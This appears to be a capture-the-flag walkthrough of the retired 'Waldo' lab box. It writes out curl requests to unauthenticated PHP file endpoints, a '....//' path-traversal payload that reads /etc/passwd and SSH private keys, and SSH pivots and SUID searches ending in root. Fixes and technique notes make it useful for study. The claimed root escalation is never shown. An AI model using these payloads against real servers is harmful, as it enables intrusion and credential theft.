Waldo
Summary
Target waldo ($TARGET) ran a custom 'List Manager' PHP application on nginx that exposed unauthenticated file-management endpoints — dirRead.php, fileRead.php, fileWrite.php, and fileDelete.php — with no session authentication. The fileRead.php endpoint's path filter blocked absolute paths but was defeated with a doubled-dot traversal sequence (....//), letting me walk three directories above the webroot and read a hidden SSH private key stored in the web server user's home directory.
That key opened an SSH session as 'nobody', where a second chained private key inside ~/.ssh was reused to pivot laterally to the 'monitor' account on the same host. From the monitor foothold, a locally misconfigured SUID-root binary was abused to execute commands as root, completing full system compromise and capturing both flags.
Command conventions
The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].
export TARGET="<retired-instance-ip>"Attack path — how the box was taken
Exact commands 2
nmap -Pn -sV -p 22,80 $TARGETcurl -si http://$TARGET/ | head -30Exact commands 2
curl -s http://$TARGET/ | grep -oE '[a-zA-Z0-9_]+\.(php|js)'curl -s -X POST http://$TARGET/dirRead.php --data 'path=./'FixRemove or authenticate the PHP file-management API endpointsCritical
Exact commands 2
curl -s -X POST http://$TARGET/fileRead.php --data 'file=index.php'curl -s -X POST http://$TARGET/fileRead.php --data 'file=/etc/passwd'Exact commands 2
curl -sS -X POST --data-urlencode 'file=....//....//....//home/nobody/.ssh/.monitor' http://$TARGET/fileRead.php | jq -r .file > /tmp/waldo_monitor.keychmod 600 /tmp/waldo_monitor.keyFixReplace the ad-hoc path filter with realpath-based input validationCritical
Exact commands 2
ssh -i /tmp/waldo_monitor.key -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null nobody@$TARGETid; hostname; cat /home/nobody/user.txtFixRemove SSH private keys from directories reachable by the web server processHigh
Exact commands 2
ssh -i ~/.ssh/.monitor -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null monitor@$TARGETid; echo $SHELL; ls -la ~/Exact commands 3
find / -perm -4000 -type f 2>/dev/nullsudo -l 2>/dev/null; cat /etc/crontab 2>/dev/nullcat /root/root.txtFixAudit and remove unnecessary SUID binaries and root-owned cron jobsCritical
Attack patterns used
The transferable techniques behind this compromise.
Cron Job AbuseLinux · Privilege EscalationT1053.003
What it is
Scheduled tasks running as root that invoke a writable script, a wildcard, or a relative path can be hijacked. Watching processes with pspy (no root needed) reveals cron jobs; if the executed file or its directory is writable, an unauthorised user overwrites it with a payload that runs at the next interval as root.
Why it works
Cron jobs are written for convenience and often reference world-writable paths or use unsafe wildcards (tar *). Remediate with absolute paths, restrictive permissions on scripts, and avoiding shell wildcards in privileged cron jobs.
Read more
Local File InclusionWebT1190
What it is
A web app builds a file path from user input (?page=../../etc/passwd), letting an unauthorised user read arbitrary files or, via log poisoning, PHP wrappers (php://filter, data://), or session files, achieve code execution. LFI commonly leaks credentials, SSH keys, and source code that feed the next step.
Why it works
The app trusts a path parameter and fails to constrain it to an allow-list. Remediate by mapping identifiers to fixed file paths, disabling dangerous PHP wrappers, and canonicalizing/validating paths.
Read more
SSH Private Key / Credential TheftCredential Access · Lateral MovementT1552.004
What it is
Foothold access frequently exposes reusable secrets: SSH private keys (~/.ssh/id_rsa), authorized_keys, config files, history, and backups. Recovering a private key lets an unauthorised user authenticate as that user (or pivot to other hosts that trust the key), often upgrading a shaky webshell into a stable SSH session.
Why it works
Keys and credentials get left in home directories, world-readable backups, and version control. Remediate by passphrase-protecting keys, scoping authorized_keys, and scanning for secrets at rest.
Read more
SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001
What it is
Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive — per GTFOBins — yields code execution as root.
Why it works
SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.
Read more
Exposed services
| 22/tcp | ssh OpenSSH 7.5 (protocol 2.0) |
| 80/tcp | http nginx 1.12.2 |